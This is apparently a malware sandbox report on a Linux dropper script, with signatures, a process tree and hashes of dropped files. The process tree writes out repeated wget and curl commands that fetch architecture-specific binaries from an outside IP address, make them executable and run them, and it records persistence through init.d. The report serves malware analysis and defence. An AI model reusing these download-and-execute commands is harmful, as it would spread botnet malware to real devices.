Overview

overview

7

Static

static

1

ddea09106c...3bc000

ubuntu-18.04-amd64

7

ddea09106c...3bc000

debian-9-armhf

7

ddea09106c...3bc000

debian-9-mips

ddea09106c...3bc000

debian-9-mipsel

Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    28/07/2026, 18:28

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    ddea09106c582fb477806ac112018e39d150efa7c12189099a4cf4541b3bc000
  • Size 1KB
  • Sample260728-w4pgysbb43
  • SHA256 ddea09106c582fb477806ac112018e39d150efa7c12189099a4cf4541b3bc000
  • MD5 SHA1 SHA512 TLSH
Score
7/10
antivmdefense_evasiondiscoverypersistence

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 14 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 14 IoCs
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Modifies init.d 2 TTPs 1 IoCs

    Adds/modifies system service, likely for persistence.

    persistence
  • Changes its process name 1 IoCs
  • Checks CPU configuration 1 TTPs 3 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 4 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 15 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/ddea09106c582fb477806ac112018e39d150efa7c12189099a4cf4541b3bc000
    /tmp/ddea09106c582fb477806ac112018e39d150efa7c12189099a4cf4541b3bc000
    1⤵
    • Executes dropped EXE
    PID:648
    • /usr/bin/wget
      wget http://5.29.56.100:8080/update.x86_64 -O x86_64
      2⤵
      • Writes file to tmp directory
      PID:650
    • /bin/chmod
      chmod 777 x86_64
      2⤵
      • File and Directory Permissions Modification
      PID:676
    • /tmp/x86_64
      ./x86_64 telnet
      2⤵
        PID:678
      • /usr/bin/wget
        wget http://5.29.56.100:8080/update.aarch64 -O aarch64
        2⤵
        • Writes file to tmp directory
        PID:680
      • /bin/chmod
        chmod 777 aarch64
        2⤵
        • File and Directory Permissions Modification
        PID:681
      • /tmp/aarch64
        ./aarch64 telnet
        2⤵
          PID:682
        • /usr/bin/wget
          wget http://5.29.56.100:8080/update.m68k -O m68k
          2⤵
          • Writes file to tmp directory
          PID:684
        • /bin/chmod
          chmod 777 m68k
          2⤵
          • File and Directory Permissions Modification
          PID:688
        • /tmp/m68k
          ./m68k telnet
          2⤵
            PID:690
          • /usr/bin/wget
            wget http://5.29.56.100:8080/update.mips -O mips
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:692
          • /bin/chmod
            chmod 777 mips
            2⤵
            • File and Directory Permissions Modification
            PID:711
          • /tmp/mips
            ./mips telnet
            2⤵
            • System Network Configuration Discovery
            PID:712
          • /usr/bin/wget
            wget http://5.29.56.100:8080/update.mipsel -O mipsel
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:714
          • /bin/chmod
            chmod 777 mipsel
            2⤵
            • File and Directory Permissions Modification
            PID:733
          • /tmp/mipsel
            ./mipsel telnet
            2⤵
            • System Network Configuration Discovery
            PID:734
          • /usr/bin/wget
            wget http://5.29.56.100:8080/update.powerpc -O powerpc
            2⤵
            • Writes file to tmp directory
            PID:736
          • /bin/chmod
            chmod 777 powerpc
            2⤵
            • File and Directory Permissions Modification
            PID:742
          • /tmp/powerpc
            ./powerpc telnet
            2⤵
              PID:743
            • /usr/bin/wget
              wget http://5.29.56.100:8080/update.sparc -O sparc
              2⤵
              • Writes file to tmp directory
              PID:745
            • /bin/chmod
              chmod 777 sparc
              2⤵
              • File and Directory Permissions Modification
              PID:746
            • /tmp/sparc
              ./sparc telnet
              2⤵
                PID:747
              • /usr/bin/wget
                wget http://5.29.56.100:8080/update.sh4 -O sh4
                2⤵
                • Writes file to tmp directory
                PID:749
              • /bin/chmod
                chmod 777 sh4
                2⤵
                • File and Directory Permissions Modification
                PID:761
              • /tmp/sh4
                ./sh4 telnet
                2⤵
                  PID:763
                • /usr/bin/wget
                  wget http://5.29.56.100:8080/update.arc -O arc
                  2⤵
                  • Writes file to tmp directory
                  PID:765
                • /bin/chmod
                  chmod 777 arc
                  2⤵
                  • File and Directory Permissions Modification
                  PID:784
                • /tmp/arc
                  ./arc telnet
                  2⤵
                    PID:785
                  • /usr/bin/wget
                    wget http://5.29.56.100:8080/update.i486 -O i486
                    2⤵
                    • Writes file to tmp directory
                    PID:787
                  • /bin/chmod
                    chmod 777 i486
                    2⤵
                    • File and Directory Permissions Modification
                    PID:788
                  • /tmp/i486
                    ./i486 telnet
                    2⤵
                      PID:789
                    • /usr/bin/wget
                      wget http://5.29.56.100:8080/update.armv4l -O armv4l
                      2⤵
                      • Writes file to tmp directory
                      PID:791
                    • /bin/chmod
                      chmod 777 armv4l
                      2⤵
                      • File and Directory Permissions Modification
                      PID:792
                    • /tmp/armv4l
                      ./armv4l telnet
                      2⤵
                      • Modifies init.d
                      • Changes its process name
                      • Reads runtime system information
                      PID:793
                    • /usr/bin/wget
                      wget http://5.29.56.100:8080/update.armv5l -O armv5l
                      2⤵
                      • Writes file to tmp directory
                      PID:795
                    • /usr/bin/curl
                      curl http://5.29.56.100:8080/update.armv5l -o armv5l
                      2⤵
                      • Checks CPU configuration
                      • Reads runtime system information
                      PID:800
                    • /bin/chmod
                      chmod 777 armv5l
                      2⤵
                      • File and Directory Permissions Modification
                      PID:801
                    • /tmp/armv5l
                      ./armv5l telnet
                      2⤵
                        PID:802
                      • /bin/sh
                        /bin/sh ./armv5l telnet
                        2⤵
                          PID:802
                        • /usr/bin/wget
                          wget http://5.29.56.100:8080/update.armv6l -O armv6l
                          2⤵
                          • Writes file to tmp directory
                          PID:804
                        • /usr/bin/curl
                          curl http://5.29.56.100:8080/update.armv6l -o armv6l
                          2⤵
                          • Checks CPU configuration
                          PID:806
                        • /bin/chmod
                          chmod 777 armv6l
                          2⤵
                          • File and Directory Permissions Modification
                          PID:808
                        • /tmp/armv6l
                          ./armv6l telnet
                          2⤵
                            PID:809
                          • /bin/sh
                            /bin/sh ./armv6l telnet
                            2⤵
                              PID:809
                            • /usr/bin/wget
                              wget http://5.29.56.100:8080/update.armv7l -O armv7l
                              2⤵
                              • Writes file to tmp directory
                              PID:811
                            • /usr/bin/curl
                              curl http://5.29.56.100:8080/update.armv7l -o armv7l
                              2⤵
                              • Checks CPU configuration
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:812
                            • /bin/chmod
                              chmod 777 armv7l
                              2⤵
                              • File and Directory Permissions Modification
                              PID:813
                            • /tmp/armv7l
                              ./armv7l telnet
                              2⤵
                                PID:814

                            Network

                                  MITRE ATT&CK Enterprise v16

                                  Replay Monitor

                                  Loading Replay Monitor...

                                  Downloads

                                  xs.main
                                  • Path /etc/init.d/xs.main
                                  • Size 26B
                                  • SHA256 7293b4416a8946d8fedb1c1b188b82168221224ed51fdb774dd0a9ab1f65d100
                                  • MD5 SHA1 SHA512
                                  Submit Download

                                  aarch64
                                  • Path /tmp/aarch64
                                  • Size 205KB
                                  • SHA256 0da186890be47f5da124edb19168b18cb6ab790d657433d4b47b393adb6ada0e
                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                  Submit Download

                                  arc
                                  • Path /tmp/arc
                                  • Size 153KB
                                  • SHA256 82d30599bab940b448fa403903a4ce54bd23d2258e4f6e5bfbb43a3a6a5ca7bf
                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                  Submit Download

                                  armv4l
                                  • Path /tmp/armv4l
                                  • Size 153KB
                                  • SHA256 627b4f1b2cc0b22922426174cf2a3cc70c849b7ac0058a8b6194a41151f1d698
                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                  Submit Download

                                  armv7l
                                  • Path /tmp/armv7l
                                  • Size 4KB
                                  • SHA256 84fb2143f6ef04d983ae9c6a22b9315abe212317e2d215064c5733e68c7668d9
                                  • MD5 SHA1 SHA512 TLSH
                                  Submit Download

                                  i486
                                  • Path /tmp/i486
                                  • Size 100KB
                                  • SHA256 597fdbc1b8d4bf91c04874ff91db594d6a1960787cc27a1ac547aac75addf0d3
                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                  Submit Download

                                  m68k
                                  • Path /tmp/m68k
                                  • Size 177KB
                                  • SHA256 56e744a75ea1687508463f6a01c0ac7dd5787b5c132fefaff37b47ebff9ff9b6
                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                  Submit Download

                                  mips
                                  • Path /tmp/mips
                                  • Size 203KB
                                  • SHA256 5c5264409d4866f07bb7a0d4917538b7b847519183fb1e9753efb5cecd7063f6
                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                  Submit Download

                                  mipsel
                                  • Path /tmp/mipsel
                                  • Size 205KB
                                  • SHA256 2191946260c070d24dd7cf9d7e878d4e73c6cf037b968536a3a1d42b664ab2bc
                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                  Submit Download

                                  powerpc
                                  • Path /tmp/powerpc
                                  • Size 154KB
                                  • SHA256 3b9df86349a1d81c0736789b63facc1d362b26e8d7fff6f5dcd74618d096c971
                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                  Submit Download

                                  sh4
                                  • Path /tmp/sh4
                                  • Size 137KB
                                  • SHA256 870530e5ab1b86d9b4ca66bcfe84bb8b10b65e90f7a2b19f76bdf3490b6a6b3b
                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                  Submit Download

                                  sparc
                                  • Path /tmp/sparc
                                  • Size 42KB
                                  • SHA256 c3ca3bdb6a54f1a1755ab6a35e583cc67e0eaf6bc0896adf85f59444e0a00a02
                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                  Submit Download

                                  x86_64
                                  • Path /tmp/x86_64
                                  • Size 160KB
                                  • SHA256 d6c6dc3a4ca82fc4250d4f4a087f505f8004d481368e3edd5b6668338b34c7d2
                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                  Submit Download